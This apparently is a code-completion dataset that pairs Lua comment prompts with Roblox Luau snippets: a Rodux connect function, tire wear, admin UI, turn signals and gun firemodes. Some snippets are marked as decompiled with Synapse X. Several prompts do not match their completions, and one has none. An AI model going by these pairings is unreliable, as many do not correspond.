prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
--[Tip] --More modes with smaller speed increments makes for a more precise and smooth ride.
--[[ mapStateToProps: (storeState, props) -> partialProps OR () -> (storeState, props) -> partialProps mapDispatchToProps: (dispatch) -> partialProps ]]
local function connect(mapStateToPropsOrThunk, mapDispatchToProps) local connectTrace = debug.traceback() if mapStateToPropsOrThunk ~= nil then assert(typeof(mapStateToPropsOrThunk) == "function", "mapStateToProps must be a function or nil!") else mapStateToPropsOrThunk = noop end local mapDispatchType = typeof(mapDispatchToProps) if mapDispatchToProps ~= nil then assert( mapDispatchType == "function" or mapDispatchType == "table", "mapDispatchToProps must be a function, table, or nil!" ) else mapDispatchToProps = noop end return function(innerComponent) if innerComponent == nil then local message = formatMessage({ "connect returns a function that must be passed a component.", "Check the connection at:", "%s", }, { connectTrace, }) error(message, 2) end local componentName = ("RoduxConnection(%s)"):format(tostring(innerComponent)) local Connection = Roact.Component:extend(componentName) function Connection.getDerivedStateFromProps(nextProps, prevState) if prevState.stateUpdater ~= nil then return prevState.stateUpdater(nextProps.innerProps, prevState) end end function Connection:init(props) self.store = props.store if self.store == nil then local message = formatMessage({ "Cannot initialize Roact-Rodux connection without being a descendent of StoreProvider!", "Tried to wrap component %q", "Make sure there is a StoreProvider above this component in the tree.", }, { tostring(innerComponent), }) error(message) end local storeState = self.store:getState() local mapStateToProps = mapStateToPropsOrThunk local mappedStoreState = mapStateToProps(storeState, self.props.innerProps) -- mapStateToPropsOrThunk can return a function instead of a state -- value. In this variant, we keep that value as mapStateToProps -- instead of the original mapStateToProps. This matches react-redux -- and enables connectors to keep instance-level state. if typeof(mappedStoreState) == "function" then mapStateToProps = mappedStoreState mappedStoreState = mapStateToProps(storeState, self.props.innerProps) end if mappedStoreState ~= nil and typeof(mappedStoreState) ~= "table" then local message = formatMessage({ "mapStateToProps must either return a table, or return another function that returns a table.", "Instead, it returned %q, which is of type %s.", }, { tostring(mappedStoreState), typeof(mappedStoreState), }) error(message) end local function dispatch(...) return self.store:dispatch(...) end local mappedStoreDispatch if mapDispatchType == "table" then mappedStoreDispatch = {} for key, actionCreator in pairs(mapDispatchToProps) do assert(typeof(actionCreator) == "function", "mapDispatchToProps must contain function values") mappedStoreDispatch[key] = function(...) dispatch(actionCreator(...)) end end elseif mapDispatchType == "function" then mappedStoreDispatch = mapDispatchToProps(dispatch) end local stateUpdater = makeStateUpdater(self.store) self.state = { -- Combines props, mappedStoreDispatch, and the result of -- mapStateToProps into propsForChild. Stored in state so that -- getDerivedStateFromProps can access it. stateUpdater = stateUpdater, -- Used by the store changed connection and stateUpdater to -- construct propsForChild. mapStateToProps = mapStateToProps, -- Used by stateUpdater to construct propsForChild. mappedStoreDispatch = mappedStoreDispatch, -- Passed directly into the component that Connection is -- wrapping. propsForChild = nil, } local extraState = stateUpdater(self.props.innerProps, self.state, mappedStoreState) for key, value in pairs(extraState) do self.state[key] = value end end function Connection:didMount() local updateStateWithStore = function(storeState) self:setState(function(prevState, props) local mappedStoreState = prevState.mapStateToProps(storeState, props.innerProps) -- We run this check here so that we only check shallow -- equality with the result of mapStateToProps, and not the -- other props that could be passed through the connector. if shallowEqual(mappedStoreState, prevState.mappedStoreState) then return nil end return prevState.stateUpdater(props.innerProps, prevState, mappedStoreState) end) end -- Update store state on mount to catch missed state updates between -- init and mount. State could be stale otherwise. updateStateWithStore(self.store:getState()) -- Connect state updater to the Rodux store self.storeChangedConnection = self.store.changed:connect(updateStateWithStore) end function Connection:willUnmount() if self.storeChangedConnection then self.storeChangedConnection:disconnect() self.storeChangedConnection = nil end end function Connection:render() return Roact.createElement(innerComponent, self.state.propsForChild) end local ConnectedComponent = Roact.Component:extend(componentName) function ConnectedComponent:render() return Roact.createElement(StoreContext.Consumer, { render = function(store) return Roact.createElement(Connection, { innerProps = self.props, store = store, }) end, }) end return ConnectedComponent end end return connect
-- Decompiled with Visenya | https://targaryentech.com
local _WHEELTUNE = { TireWearOn = true, FWearSpeed = 0.4, FTargetFriction = 0.7, FMinFriction = 0.1, RWearSpeed = 0.4, RTargetFriction = 0.7, RMinFriction = 0.1, TCSOffRatio = 0.3333333333333333, WheelLockRatio = 0.5, WheelspinRatio = 0.9090909090909091, FFrictionWeight = 1, RFrictionWeight = 1, FLgcyFrWeight = 10, RLgcyFrWeight = 10, FElasticity = 0.5, RElasticity = 0.5, FLgcyElasticity = 0, RLgcyElasticity = 0, FElastWeight = 1, RElastWeight = 1, FLgcyElWeight = 10, RLgcyElWeight = 10, RegenSpeed = 3.6 } local car = script.Parent.Parent.Car.Value local _Tune = require(car["A-Chassis Tune"]) local cValues = script.Parent.Parent:WaitForChild("Values") local fDensity = _Tune.FWheelDensity local rDensity = _Tune.RWheelDensity local fFwght = _WHEELTUNE.FFrictionWeight local rFwght = _WHEELTUNE.RFrictionWeight local fElast = _WHEELTUNE.FElasticity local rElast = _WHEELTUNE.RElasticity local fEwght = _WHEELTUNE.FElastWeight local rEwght = _WHEELTUNE.RElastWeight if not workspace:PGSIsEnabled() then fDensity = _Tune.FWLgcyDensity rDensity = _Tune.RWLgcyDensity fFwght = _WHEELTUNE.FLgcyFrWeight rFwght = _WHEELTUNE.FLgcyFrWeight fElast = _WHEELTUNE.FLgcyElasticity rElast = _WHEELTUNE.RLgcyElasticity fEwght = _WHEELTUNE.FLgcyElWeight rEwght = _WHEELTUNE.RLgcyElWeight end local Wheels = {} for i, v in pairs(car.Wheels:GetChildren()) do local w = {} w.wheel = v local ca w.x = 0 if v.Name == "FL" or v.Name == "FR" or v.Name == "F" then ca = (12 - math.abs(_Tune.FCamber)) / 15 w.x = fDensity w.BaseHeat = _WHEELTUNE.FTargetFriction - _WHEELTUNE.FMinFriction w.WearSpeed = _WHEELTUNE.FWearSpeed w.fWeight = fFwght w.elast = fElast w.eWeight = fEwght else ca = (12 - math.abs(_Tune.RCamber)) / 15 w.x = rDensity w.BaseHeat = _WHEELTUNE.RTargetFriction - _WHEELTUNE.RMinFriction w.WearSpeed = _WHEELTUNE.RWearSpeed w.fWeight = rFwght w.elast = rElast w.eWeight = rEwght end w.Heat = w.BaseHeat w.stress = 0 table.insert(Wheels, w) end car.DriveSeat.ChildRemoved:connect(function(child) if child.Name == "SeatWeld" then local wD = car:FindFirstChild("WearData") if car:FindFirstChild("WearData") == nil then wD = script.Parent.WearData:Clone() wD.Parent = car end for i, v in pairs(Wheels) do wD[v.wheel.Name].Value = v.Heat end wD.STime.Value = tick() end end) while wait() do for i, v in pairs(Wheels) do local speed = car.DriveSeat.Velocity.Magnitude local wheel = v.wheel.RotVelocity.Magnitude local z = 0 local deg = 1.26E-4 local cspeed = speed / 1.298 * (2.6 / v.wheel.Size.Y) local wdif = math.abs(wheel - cspeed) if _WHEELTUNE.TireWearOn then if speed < 4 then v.Heat = math.min(v.Heat + _WHEELTUNE.RegenSpeed / 10000, v.BaseHeat) elseif wdif > 1 then v.Heat = v.Heat - wdif * deg * v.WearSpeed / 28 elseif v.Heat >= v.BaseHeat then v.Heat = v.BaseHeat end end if v.wheel.Name == "FL" or v.wheel.Name == "FR" or v.wheel.Name == "F" then z = _WHEELTUNE.FMinFriction + v.Heat deg = (deg - 1.188E-4 * cValues.Brake.Value) * (1 - math.abs(cValues.SteerC.Value)) + 1.26E-6 * math.abs(cValues.SteerC.Value) else z = _WHEELTUNE.RMinFriction + v.Heat end if math.ceil(wheel / 0.774 / speed * 100) < 8 then v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x, z * _WHEELTUNE.WheelLockRatio, v.elast, v.fWeight, v.eWeight) v.Heat = math.max(v.Heat, 0) elseif _Tune.TCSEnabled and cValues.TCS.Value == false and math.ceil(wheel / 0.774 / speed * 100) > 80 then v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x, z * _WHEELTUNE.TCSOffRatio, v.elast, v.fWeight, v.eWeight) v.Heat = math.max(v.Heat, 0) elseif math.ceil(wheel / 0.774 / speed * 100) > 130 then v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x, z * _WHEELTUNE.WheelspinRatio, v.elast, v.fWeight, v.eWeight) v.Heat = math.max(v.Heat, 0) else v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x, z, v.elast, v.fWeight, v.eWeight) v.Heat = math.min(v.Heat, v.BaseHeat) end local vstress = math.abs(((wdif + cspeed) / 0.774 * 0.774 - cspeed) / 15) if vstress > 0.05 and vstress > v.stress then v.stress = math.min(v.stress + 0.03, 1) else v.stress = math.max(v.stress - 0.03, vstress) end local UI = script.Parent.Tires[v.wheel.Name] UI.First.Second.Image.ImageColor3 = Color3.new(math.min(v.stress * 2, 1), 1 - v.stress, 0) UI.First.Position = UDim2.new(0, 0, 1 - v.Heat / v.BaseHeat, 0) UI.First.Second.Position = UDim2.new(0, 0, v.Heat / v.BaseHeat, 0) end end
--// All global vars will be wiped/replaced except script
return function(data) local gui = script.Parent.Parent--client.UI.Prepare(script.Parent.Parent) local frame = gui.Frame local frame2 = frame.Frame local msg = frame2.Message local ttl = frame2.Title local Left = frame2.Left local gIndex = data.gIndex local gTable = data.gTable local title = data.Title local message = data.Message local scroll = data.Scroll local tim = data.Time local gone = false if not data.Message or not data.Title then gTable:Destroy() end ttl.Text = title msg.Text = message ttl.TextTransparency = 1 msg.TextTransparency = 1 ttl.TextStrokeTransparency = 1 msg.TextStrokeTransparency = 1 frame.BackgroundTransparency = 1 local fadeSteps = 20 local blurSize = 10 local textFade = 0.1 local strokeFade = 0.5 local frameFade = 0.3 local blurStep = blurSize/fadeSteps local frameStep = frameFade/fadeSteps local textStep = 0.8 local strokeStep = 0.9 local function fadeIn() gTable:Ready() for i = 1,fadeSteps do if msg.TextTransparency>0 then msg.TextTransparency = msg.TextTransparency-textStep ttl.TextTransparency = ttl.TextTransparency-textStep end if frame.BackgroundTransparency>0 then frame.BackgroundTransparency = frame.BackgroundTransparency-0.06 frame2.BackgroundTransparency = frame.BackgroundTransparency end service.Wait("Stepped") end end local function fadeOut() if not gone then gone = true for i = 1,fadeSteps do if msg.TextTransparency<1 then msg.TextTransparency = msg.TextTransparency+textStep ttl.TextTransparency = ttl.TextTransparency+textStep end if msg.TextStrokeTransparency<1 then msg.TextStrokeTransparency = msg.TextStrokeTransparency+strokeStep ttl.TextStrokeTransparency = ttl.TextStrokeTransparency+strokeStep end if frame.BackgroundTransparency<1 then frame.BackgroundTransparency = frame.BackgroundTransparency+frameStep frame2.BackgroundTransparency = frame.BackgroundTransparency end service.Wait("Stepped") end service.UnWrap(gui):Destroy() end end gTable.CustomDestroy = function() fadeOut() end fadeIn() if not tim then local _,time = message:gsub(" ","") time = math.clamp(time/2,4,11)+1 Left.Text = '['..time..']' for i=time,1,-1 do if not Left then break end Left.Text = '['..i..']' wait(1) end else Left.Text = '['..tim..']' for i=tim,1,-1 do if not Left then break end Left.Text = '['..i..']' wait(1) end end Left.Text = '[Closing]' wait(0.3) if not gone then fadeOut() end end
--//Shifting//-
if key == "1" then carSeat.Wheels.FR.Spring.Stiffness = 0 carSeat.Wheels.FL.Spring.Stiffness = 0 carSeat.Wheels.RR.Spring.Stiffness = 0 carSeat.Wheels.RL.Spring.Stiffness = 0 elseif key == "2" then carSeat.Wheels.FR.Spring.Stiffness = 9000 carSeat.Wheels.FL.Spring.Stiffness = 9000 carSeat.Wheels.RR.Spring.Stiffness = 9000 carSeat.Wheels.RL.Spring.Stiffness = 9000 end end)
-- Decompiled with the Synapse X Luau decompiler.
client = nil; service = nil; return function(p1) local v1 = service.New("Sound"); v1.Volume = 1; v1.Looped = true; v1.SoundId = "http://www.roblox.com/asset/?id=138081509"; local v2 = { Name = "Alert", Title = "Alert", Size = { 300, 150 }, Icon = "rbxassetid://53252104", AllowMultiple = false }; function v2.OnClose() v1:Stop(); wait(); v1:Destroy(); end; local v3 = client.UI.Make("Window", v2); if v3 then local v4 = v3:Add("TextLabel", { Text = p1.Message, BackgroundTransparency = 1, TextScaled = true, TextWrapped = true }); local v5 = v3:AddTitleButton({ Text = "" }); local u1 = false; local u2 = v5:Add("ImageLabel", { Size = UDim2.new(0, 20, 0, 20), Position = UDim2.new(0, 5, 0, 0), Image = "rbxassetid://1638551696", BackgroundTransparency = 1 }); v5.MouseButton1Down:connect(function() if u1 then v1.Volume = 1; u2.Image = "rbxassetid://1638551696"; u1 = false; return; end; v1.Volume = 0; u2.Image = "rbxassetid://1638584675"; u1 = true; end); v1.Parent = v4; v1:Play(); local l__gTable__6 = v3.gTable; v3:Ready(); end; end;
--- Skill
local UIS = game:GetService("UserInputService") local plr = game.Players.LocalPlayer local Mouse = plr:GetMouse() local Debounce = true Player = game.Players.LocalPlayer UIS.InputBegan:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.Z and Debounce == true and Tool.Equip.Value == true and Tool.Active.Value == "None" then Debounce = false Tool.Active.Value = "LightBeam" Track1 = Player.Character.Humanoid:LoadAnimation(script.Anim01) Track1:Play() wait(0.27) script.Fire:FireServer(plr) local hum = Player.Character.Humanoid for i = 1,2 do wait() hum.CameraOffset = Vector3.new( math.random(-1,1), math.random(-1,1), math.random(-1,1) ) end hum.CameraOffset = Vector3.new(0,0,0) Tool.Active.Value = "None" wait(1.5) Debounce = true end end)
-- assume we are in the character, let's check
function sepuku() script.Parent = nil end local h = script.Parent:FindFirstChild("Humanoid") if (h == nil) then sepuku() end local oldSpeed = h.WalkSpeed h.WalkSpeed = h.WalkSpeed * 1.5 local torso = script.Parent:FindFirstChild("Torso") if (torso == nil) then sepuku() end local head = script.Parent:FindFirstChild("Head") if (head == nil) then head = torso end local s = Instance.new("Sparkles") s.Color = Color3.new(0, .8, 0) s.Parent = torso local count = h:FindFirstChild("CoffeeCount") if (count == nil) then count = Instance.new("IntValue") count.Name = "CoffeeCount" count.Value = 1 count.Parent = h else if (count.Value > 3) then if (math.random() > .5) then local sound = Instance.new("Sound") sound.SoundId = "rbxasset://sounds\\Rocket shot.wav" sound.Parent = head sound.Volume = 1 sound:play() local e = Instance.new("Explosion") e.BlastRadius = 4 e.Position = head.Position s:Clone().Parent = head e.Parent = head end end count.Value = count.Value + 1 end wait(30) h.WalkSpeed = oldSpeed s:Remove() script.Parent = nil
-- A state object whose value can be set at any time by the user.
export type State<T> = PubTypes.Value<T> & { _value: T }
-- mainWindow Functions
local function showMainWindow() mainWindow.Visible = true TweenService:Create(mainWindow, Bar_Button_TweenInfo, {Size = UDim2.new(0, 1009,0, 522), GroupTransparency = 0}):Play() end local function hideMainWindow() TweenService:Create(mainWindow, Bar_Button_TweenInfo, {Size = UDim2.new(0, 996,0, 509), GroupTransparency = 1}):Play() task.wait(0.3) mainWindow.Visible = false end
--Made by Repressed_Memories -- Edited by Truenus
local component = script.Parent.Parent local car = script.Parent.Parent.Parent.Parent.Car.Value local mouse = game.Players.LocalPlayer:GetMouse() local leftsignal = "z" local rightsignal = "c" local hazards = "x" local hazardson = false local lefton = false local righton = false local leftlight = car.Body.Lights.Left.TurnSignal.TSL local rightlight = car.Body.Lights.Right.TurnSignal.TSL local leftfront = car.Body.Lights.Left.TurnSignal2 local rightfront = car.Body.Lights.Right.TurnSignal2 local signalblinktime = 0.32 local neonleft = car.Body.Lights.Left.TurnSignal local neonright = car.Body.Lights.Right.TurnSignal local off = BrickColor.New("Black") local on = BrickColor.New("Deep orange") local off2 = BrickColor.New("Bright yellow") mouse.KeyDown:connect(function(lkey) local key = string.lower(lkey) if key == leftsignal then if lefton == false then lefton = true repeat neonleft.BrickColor = on leftfront.BrickColor = on leftlight.Enabled = true neonleft.Material = "Neon" leftfront.Material = "Neon" component.TurnSignal:play() wait(signalblinktime) neonleft.BrickColor = off leftfront.BrickColor = off2 component.TurnSignal:play() neonleft.Material = "SmoothPlastic" leftfront.Material = "SmoothPlastic" leftlight.Enabled = false wait(signalblinktime) until lefton == false or righton == true elseif lefton == true or righton == true then lefton = false component.TurnSignal:stop() leftlight.Enabled = false end elseif key == rightsignal then if righton == false then righton = true repeat neonright.BrickColor = on rightfront.BrickColor = on rightlight.Enabled = true neonright.Material = "Neon" rightfront.Material = "Neon" component.TurnSignal:play() wait(signalblinktime) neonright.BrickColor = off rightfront.BrickColor = off2 component.TurnSignal:play() neonright.Material = "SmoothPlastic" rightfront.Material = "SmoothPlastic" rightlight.Enabled = false wait(signalblinktime) until righton == false or lefton == true elseif righton == true or lefton == true then righton = false component.TurnSignal:stop() rightlight.Enabled = false end elseif key == hazards then if hazardson == false then hazardson = true repeat neonright.BrickColor = on rightfront.BrickColor = on neonleft.BrickColor = on leftfront.BrickColor = on neonright.Material = "Neon" rightfront.Material = "Neon" neonleft.Material = "Neon" leftfront.Material = "Neon" component.TurnSignal:play() rightlight.Enabled = true leftlight.Enabled = true wait(signalblinktime) neonright.BrickColor = off rightfront.BrickColor = off2 neonleft.BrickColor = off leftfront.BrickColor = off2 component.TurnSignal:play() neonright.Material = "SmoothPlastic" rightfront.Material = "SmoothPlastic" neonleft.Material = "SmoothPlastic" leftfront.Material = "SmoothPlastic" rightlight.Enabled = false leftlight.Enabled = false wait(signalblinktime) until hazardson == false elseif hazardson == true then hazardson = false component.TurnSignal:stop() rightlight.Enabled = false leftlight.Enabled = false end end end)
--// Firemode Functions
function CreateBullet(L_185_arg1) local L_186_ = L_55_.Position local L_187_ = (L_4_.Hit.p - L_186_).unit local L_188_ = CFrame.Angles(math.rad(math.random(-L_185_arg1, L_185_arg1)), math.rad(math.random(-L_185_arg1, L_185_arg1)), math.rad(math.random(-L_185_arg1, L_185_arg1))) L_187_ = L_188_ * L_187_ local L_189_ = CFrame.new(L_186_, L_186_ + L_187_) local L_190_ = Instance.new("Part", L_93_) game.Debris:AddItem(L_190_, 10) L_190_.Shape = Enum.PartType.Ball L_190_.Size = Vector3.new(1, 1, 12) L_190_.Name = "Bullet" L_190_.TopSurface = "Smooth" L_190_.BottomSurface = "Smooth" L_190_.BrickColor = BrickColor.new("Bright green") L_190_.Material = "Neon" L_190_.CanCollide = false --Bullet.CFrame = FirePart.CFrame + (Grip.CFrame.p - Grip.CFrame.p) L_190_.CFrame = L_189_ local L_191_ = Instance.new("Sound") L_191_.SoundId = "rbxassetid://341519743" L_191_.Looped = true L_191_:Play() L_191_.Parent = L_190_ L_191_.Volume = 0.4 L_191_.MaxDistance = 30 L_190_.Transparency = 1 local L_192_ = L_190_:GetMass() local L_193_ = Instance.new('BodyForce', L_190_) if not L_77_ then L_193_.Force = L_24_.BulletPhysics L_190_.Velocity = L_187_ * L_24_.BulletSpeed else L_193_.Force = L_24_.ExploPhysics L_190_.Velocity = L_187_ * L_24_.ExploSpeed end local L_194_ = Instance.new('Attachment', L_190_) L_194_.Position = Vector3.new(0.1, 0, 0) local L_195_ = Instance.new('Attachment', L_190_) L_195_.Position = Vector3.new(-0.1, 0, 0) local L_196_ = TracerCalculation() if L_24_.TracerEnabled == true and L_196_ then local L_197_ = Instance.new('Trail', L_190_) L_197_.Attachment0 = L_194_ L_197_.Attachment1 = L_195_ L_197_.Transparency = NumberSequence.new(L_24_.TracerTransparency) L_197_.LightEmission = L_24_.TracerLightEmission L_197_.TextureLength = L_24_.TracerTextureLength L_197_.Lifetime = L_24_.TracerLifetime L_197_.FaceCamera = L_24_.TracerFaceCamera L_197_.Color = ColorSequence.new(L_24_.TracerColor.Color) end if L_1_:FindFirstChild('Shell') and not L_77_ then CreateShell() end delay(0.2, function() L_190_.Transparency = 0 end) return L_190_ end function CheckForHumanoid(L_198_arg1) local L_199_ local L_200_ if (L_198_arg1.Parent:FindFirstChild("Humanoid") or L_198_arg1.Parent.Parent:FindFirstChild("Humanoid")) then L_199_ = true if L_198_arg1.Parent:FindFirstChild('Humanoid') then L_200_ = L_198_arg1.Parent.Humanoid elseif L_198_arg1.Parent.Parent:FindFirstChild('Humanoid') then L_200_ = L_198_arg1.Parent.Parent.Humanoid end else L_199_ = false end return L_199_, L_200_ end function CastRay(L_201_arg1) local L_202_, L_203_, L_204_ local L_205_ = L_52_.Position; local L_206_ = L_201_arg1.Position; local L_207_ = 0 local L_208_ = L_77_ while true do L_98_:wait() L_206_ = L_201_arg1.Position; L_207_ = L_207_ + (L_206_ - L_205_).magnitude L_202_, L_203_, L_204_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_205_, (L_206_ - L_205_)), IgnoreList); local L_209_ = Vector3.new(0, 1, 0):Cross(L_204_) local L_210_ = math.asin(L_209_.magnitude) -- division by 1 is redundant if L_207_ > 10000 then break end if L_202_ and (L_202_ and L_202_.Transparency >= 1 or L_202_.CanCollide == false) then table.insert(IgnoreList, L_202_) end if L_202_ then L_209_ = Vector3.new(0, 1, 0):Cross(L_204_) L_210_ = math.asin(L_209_.magnitude) -- division by 1 is redundant local L_211_ = CheckForHumanoid(L_202_) if L_211_ == false then L_201_arg1:Destroy() local L_212_ = L_105_:InvokeServer(L_203_, L_209_, L_210_, L_204_, "Part") table.insert(IgnoreList, L_212_) elseif L_211_ == true then L_201_arg1:Destroy() local L_213_ = L_105_:InvokeServer(L_203_, L_209_, L_210_, L_204_, "Human") table.insert(IgnoreList, L_213_) end end if L_202_ and L_208_ then L_108_:FireServer(L_203_) end if L_202_ and (L_202_.Parent:FindFirstChild("Humanoid") or L_202_.Parent.Parent:FindFirstChild("Humanoid")) then local L_214_, L_215_ = CheckForHumanoid(L_202_) if L_214_ then L_103_:FireServer(L_215_) if L_24_.AntiTK then if game.Players:FindFirstChild(L_215_.Parent.Name) and game.Players:FindFirstChild(L_215_.Parent.Name).TeamColor ~= L_2_.TeamColor then if L_202_.Name == 'Head' then L_102_:FireServer(L_215_, L_24_.HeadDamage) local L_216_ = L_19_:WaitForChild('BodyHit'):clone() L_216_.Parent = L_2_.PlayerGui L_216_:Play() game:GetService("Debris"):addItem(L_216_, L_216_.TimeLength) elseif L_202_.Name ~= 'Head' and not (L_202_.Parent:IsA('Accessory') or L_202_.Parent:IsA('Hat')) then L_102_:FireServer(L_215_, L_24_.Damage) local L_217_ = L_19_:WaitForChild('BodyHit'):clone() L_217_.Parent = L_2_.PlayerGui L_217_:Play() game:GetService("Debris"):addItem(L_217_, L_217_.TimeLength) elseif (L_202_.Parent:IsA('Accessory') or L_202_.Parent:IsA('Hat')) then L_102_:FireServer(L_215_, L_24_.HeadDamage) local L_218_ = L_19_:WaitForChild('BodyHit'):clone() L_218_.Parent = L_2_.PlayerGui L_218_:Play() game:GetService("Debris"):addItem(L_218_, L_218_.TimeLength) end end else if L_202_.Name == 'Head' then L_102_:FireServer(L_215_, L_24_.HeadDamage) local L_219_ = L_19_:WaitForChild('BodyHit'):clone() L_219_.Parent = L_2_.PlayerGui L_219_:Play() game:GetService("Debris"):addItem(L_219_, L_219_.TimeLength) elseif L_202_.Name ~= 'Head' and not (L_202_.Parent:IsA('Accessory') or L_202_.Parent:IsA('Hat')) then L_102_:FireServer(L_215_, L_24_.Damage) local L_220_ = L_19_:WaitForChild('BodyHit'):clone() L_220_.Parent = L_2_.PlayerGui L_220_:Play() game:GetService("Debris"):addItem(L_220_, L_220_.TimeLength) elseif (L_202_.Parent:IsA('Accessory') or L_202_.Parent:IsA('Hat')) then L_102_:FireServer(L_215_, L_24_.HeadDamage) local L_221_ = L_19_:WaitForChild('BodyHit'):clone() L_221_.Parent = L_2_.PlayerGui L_221_:Play() game:GetService("Debris"):addItem(L_221_, L_221_.TimeLength) end end end end if L_202_ and L_202_.Parent:FindFirstChild("Humanoid") then return L_202_, L_203_; end L_205_ = L_206_; end end function fireSemi() if L_15_ then L_65_ = false Recoiling = true Shooting = true CheckReverb() L_55_:WaitForChild('Fire'):Play() L_101_:FireServer() L_94_ = CreateBullet(0) L_95_ = L_95_ - 1 UpdateAmmo() RecoilFront = true local L_222_, L_223_ = spawn(function() CastRay(L_94_) end) if L_24_.CanBolt == true then BoltingBackAnim() delay(L_24_.Firerate / 2, function() if L_24_.CanSlideLock == false then BoltingForwardAnim() elseif L_24_.CanSlideLock == true and L_95_ <= 0 then BoltingBackAnim() end end) end delay(L_24_.Firerate / 2, function() Recoiling = false RecoilFront = false end) wait(L_24_.Firerate) local L_224_ = JamCalculation() if L_224_ then L_65_ = false else L_65_ = true end Shooting = false end end function fireExplo() if L_15_ then L_65_ = false Recoiling = true Shooting = true L_56_:WaitForChild('Fire'):Play() L_101_:FireServer() L_94_ = CreateBullet(0) L_97_ = L_97_ - 1 UpdateAmmo() RecoilFront = true local L_225_, L_226_ = spawn(function() CastRay(L_94_) end) delay(L_24_.Firerate / 2, function() Recoiling = false RecoilFront = false end) L_65_ = false Shooting = false end end function fireShot() if L_15_ then L_65_ = false Recoiling = true Shooting = true RecoilFront = true CheckReverb() L_55_:WaitForChild('Fire'):Play() L_101_:FireServer() for L_228_forvar1 = 1, L_24_.ShotNum do L_94_ = CreateBullet(2) local L_229_, L_230_ = spawn(function() CastRay(L_94_) end) end for L_231_forvar1, L_232_forvar2 in pairs(L_55_:GetChildren()) do if L_232_forvar2.Name:sub(1, 7) == "FlashFX" then L_232_forvar2.Enabled = true end end delay(1 / 30, function() for L_233_forvar1, L_234_forvar2 in pairs(L_55_:GetChildren()) do if L_234_forvar2.Name:sub(1, 7) == "FlashFX" then L_234_forvar2.Enabled = false end end end) if L_24_.CanBolt == true then BoltingBackAnim() delay(L_24_.Firerate / 2, function() if L_24_.CanSlideLock == false then BoltingForwardAnim() elseif L_24_.CanSlideLock == true and L_95_ > 0 then BoltingBackAnim() end end) end delay(L_24_.Firerate / 2, function() Recoiling = false RecoilFront = false end) L_95_ = L_95_ - 1 UpdateAmmo() wait(L_24_.Firerate) L_72_ = true BoltBackAnim() BoltForwardAnim() IdleAnim() L_72_ = false local L_227_ = JamCalculation() if L_227_ then L_65_ = false else L_65_ = true end Shooting = false end end function fireBoltAction() if L_15_ then L_65_ = false Recoiling = true Shooting = true CheckReverb() L_55_:WaitForChild('Fire'):Play() L_101_:FireServer() L_94_ = CreateBullet(0) L_95_ = L_95_ - 1 UpdateAmmo() RecoilFront = true local L_235_, L_236_ = spawn(function() CastRay(L_94_) end) for L_238_forvar1, L_239_forvar2 in pairs(L_55_:GetChildren()) do if L_239_forvar2.Name:sub(1, 7) == "FlashFX" then L_239_forvar2.Enabled = true end end delay(1 / 30, function() for L_240_forvar1, L_241_forvar2 in pairs(L_55_:GetChildren()) do if L_241_forvar2.Name:sub(1, 7) == "FlashFX" then L_241_forvar2.Enabled = false end end end) if L_24_.CanBolt == true then BoltingBackAnim() delay(L_24_.Firerate / 2, function() if L_24_.CanSlideLock == false then BoltingForwardAnim() elseif L_24_.CanSlideLock == true and L_95_ > 0 then BoltingBackAnim() end end) end delay(L_24_.Firerate / 2, function() Recoiling = false RecoilFront = false end) wait(L_24_.Firerate) L_72_ = true BoltBackAnim() BoltForwardAnim() IdleAnim() L_72_ = false local L_237_ = JamCalculation() if L_237_ then L_65_ = false else L_65_ = true end Shooting = false end end function fireAuto() while not Shooting and L_95_ > 0 and L_64_ and L_65_ and L_15_ do L_65_ = false Recoiling = true CheckReverb() L_55_:WaitForChild('Fire'):Play() L_101_:FireServer() L_95_ = L_95_ - 1 UpdateAmmo() Shooting = true RecoilFront = true L_94_ = CreateBullet(0) local L_242_, L_243_ = spawn(function() CastRay(L_94_) end) for L_245_forvar1, L_246_forvar2 in pairs(L_55_:GetChildren()) do if L_246_forvar2.Name:sub(1, 7) == "FlashFX" then L_246_forvar2.Enabled = true end end delay(1 / 30, function() for L_247_forvar1, L_248_forvar2 in pairs(L_55_:GetChildren()) do if L_248_forvar2.Name:sub(1, 7) == "FlashFX" then L_248_forvar2.Enabled = false end end end) if L_24_.CanBolt == true then BoltingBackAnim() delay(L_24_.Firerate / 2, function() if L_24_.CanSlideLock == false then BoltingForwardAnim() elseif L_24_.CanSlideLock == true and L_95_ > 0 then BoltingForwardAnim() end end) end delay(L_24_.Firerate / 2, function() Recoiling = false RecoilFront = false end) wait(L_24_.Firerate) local L_244_ = JamCalculation() if L_244_ then L_65_ = false else L_65_ = true end Shooting = false end end function fireBurst() if not Shooting and L_95_ > 0 and L_64_ and L_15_ then for L_249_forvar1 = 1, L_24_.BurstNum do if L_95_ > 0 and L_64_ then L_65_ = false Recoiling = true CheckReverb() L_55_:WaitForChild('Fire'):Play() L_101_:FireServer() L_94_ = CreateBullet(0) local L_250_, L_251_ = spawn(function() CastRay(L_94_) end) for L_253_forvar1, L_254_forvar2 in pairs(L_55_:GetChildren()) do if L_254_forvar2.Name:sub(1, 7) == "FlashFX" then L_254_forvar2.Enabled = true end end delay(1 / 30, function() for L_255_forvar1, L_256_forvar2 in pairs(L_55_:GetChildren()) do if L_256_forvar2.Name:sub(1, 7) == "FlashFX" then L_256_forvar2.Enabled = false end end end) if L_24_.CanBolt == true then BoltingBackAnim() delay(L_24_.Firerate / 2, function() if L_24_.CanSlideLock == false then BoltingForwardAnim() elseif L_24_.CanSlideLock == true and L_95_ > 0 then BoltingForwardAnim() end end) end L_95_ = L_95_ - 1 UpdateAmmo() RecoilFront = true delay(L_24_.Firerate / 2, function() Recoiling = false RecoilFront = false end) wait(L_24_.Firerate) local L_252_ = JamCalculation() if L_252_ then L_65_ = false else L_65_ = true end end Shooting = true end Shooting = false end end function Shoot() if L_15_ and L_65_ then if L_86_ == 1 then fireSemi() elseif L_86_ == 2 then fireAuto() elseif L_86_ == 3 then fireBurst() elseif L_86_ == 4 then fireBoltAction() elseif L_86_ == 5 then fireShot() elseif L_86_ == 6 then fireExplo() end end end
-- Cold water
